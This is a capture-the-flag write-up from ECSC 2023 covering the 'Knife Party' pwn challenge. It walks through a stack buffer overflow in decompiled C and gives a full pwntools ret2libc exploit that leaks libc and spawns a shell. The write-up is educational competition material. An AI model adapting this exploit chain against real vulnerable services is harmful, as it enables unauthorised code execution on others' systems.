ECSC 2023: Knife Party

ECSC 2023 Day 1: Pwn

Table of Contents

Foreword

I participated in ECSC 2023 as a guest team as part of Team Singapore with NUS Greyhats. The competition was quite chaotic due to many factors but in the end it was still a fun competitions thanks to all the interesting compeititors. This was a live on-site competition in Hamar, Norway so I was lucky enough to get a free holiday in the middle of my school term as well :)

I mainly did the pwn challenges relating to the stack because I’m not very good at heap pwn, so I left it up to my teammate.

This challenge is a pretty straight forward ret2libc challenge if you read through the decompiled code. It hides its vulnerabilities in a few different functions.

Knife Party

We run checksec on the binary:

[*] '/mnt/e/ctf_archive/ecsc2023/d1/knifeparty/knife_party'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'./glibc/'

It has Full RELRO and NX enabled, but no canary or PIE.

First we open the binary in IDA and we see that it calls 3 functions, setup(), banner() and forge(). A quick sift through shows us that forge() is the function that handles the menu. Decompiling forge() yields the following:

__int64 forge()
{
  __int64 num; // rax

  printf("Choose class of knife!\n\n1. Sword\n2. Bat\n3. Knife\n\n>> ");
  num = read_num();
  if ( num == 2 )
    return forge_bat();
  if ( num == 3 )
    forge_knife();
  if ( num != 1 )
  {
    error("No such class! Come back when you are ready!\n");
    exit(22);
  }
  return forge_sword();
}

Testing the binary against inputs hints us that forge_knife() does nothing of value, forge_bat() and forge_sword() are the functions we are interested in. Opening them up in IDA, we can see that both of the functions have a buffer overflow vulnerability. We focus on forge_sword():

int forge_sword()
{
  __int64 buf[4]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 num; // [rsp+20h] [rbp-10h]
  unsigned __int64 i; // [rsp+28h] [rbp-8h]

  memset(buf, 0, sizeof(buf));
  printf("\nThe Sword class is pretty accurate and fast when carving a pumpkin!\n\nChoose length of sword (1-5): ");
  num = read_num();
  if ( num - 1 > 4 )
    return error("Invalid length! Come back when you are ready!\n");
  puts(asc_40104F);
  for ( i = 0LL; i <= num; ++i )
    puts(&byte_401056);
  puts(asc_401060);
  printf(
    "\n%s[+] Here is your sword! Do you want to give it a name for the contest?\n\n>> %s",
    "\x1B[1;32m",
    "\x1B[1;34m");
  read(0, buf, 0x120uLL);
  return puts("\nBest of luck!!");
}

buf is initialized with size 0x30 but at the end before return, read(0, buf, 0x120uLL) allows a 0x120uLL size read into the buffer. This means we can attempt a ret2libc attack.

The offset for the bof would be 0x30 (buffer size) + 0x8 ($rbp) which gives us 0x38. We pad 0x38 and do a ret2libc attack, building a ROP chain to leak the lilbc addresses. We then redo the same thing but with the leaked libc offset to find system and /bin/sh. Build and execute the next ROP chain to pop shell.

pwntools automates the process for us.

from pwn import *
from exploit import *

# set exploit source, context binary, context log_level, libc
elf = context.binary = ELF("./knife_party", checksec=False)
# context.log_level = 'debug'
libc = ELF("./glibc/libc.so.6")

# Run binary 1st time
p = exploit_source("./knife_party", "localhost")

rop = ROP(elf)

p.sendlineafter(b'>> ', "1")
p.recvuntil(": ")
p.sendline("5")
p.recvuntil(">> ")

pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]

payload = flat([{0x38: p64(pop_rdi)},
                elf.got['puts'],
                elf.symbols['puts'],
                elf.symbols['main']])

# leak libc address and calculate libc base
p.sendline(payload)
p.recvuntil(b'Best of luck!!\n')

libc.address = u64(p.recvline().strip().ljust(8,b'\x00')) - libc.symbols['puts']
success(f"{hex(libc.address) =}")

# ret2libc
p.sendlineafter(b'>> ', "1")
p.recvuntil(": ")
p.sendline("5")
p.recvuntil(">> ")

rop2 = ROP(libc)

libc_ret = rop2.find_gadget(['ret'])[0]
rop2.raw(libc_ret)
rop2.system(next(libc.search(b'/bin/sh')))

payload2 = flat({0x38: rop2.chain()})

p.sendline(payload2)

p.interactive()

Run the code on remote, pop shell, then simply cat flag.txt for the flag.

<

ECSC 2023: Flux Capacitor

ECSC 2023 Day 1: Pwn

>

GreyHats WelcomeCTF 2023: Pwn

Derusting my Pwn

📚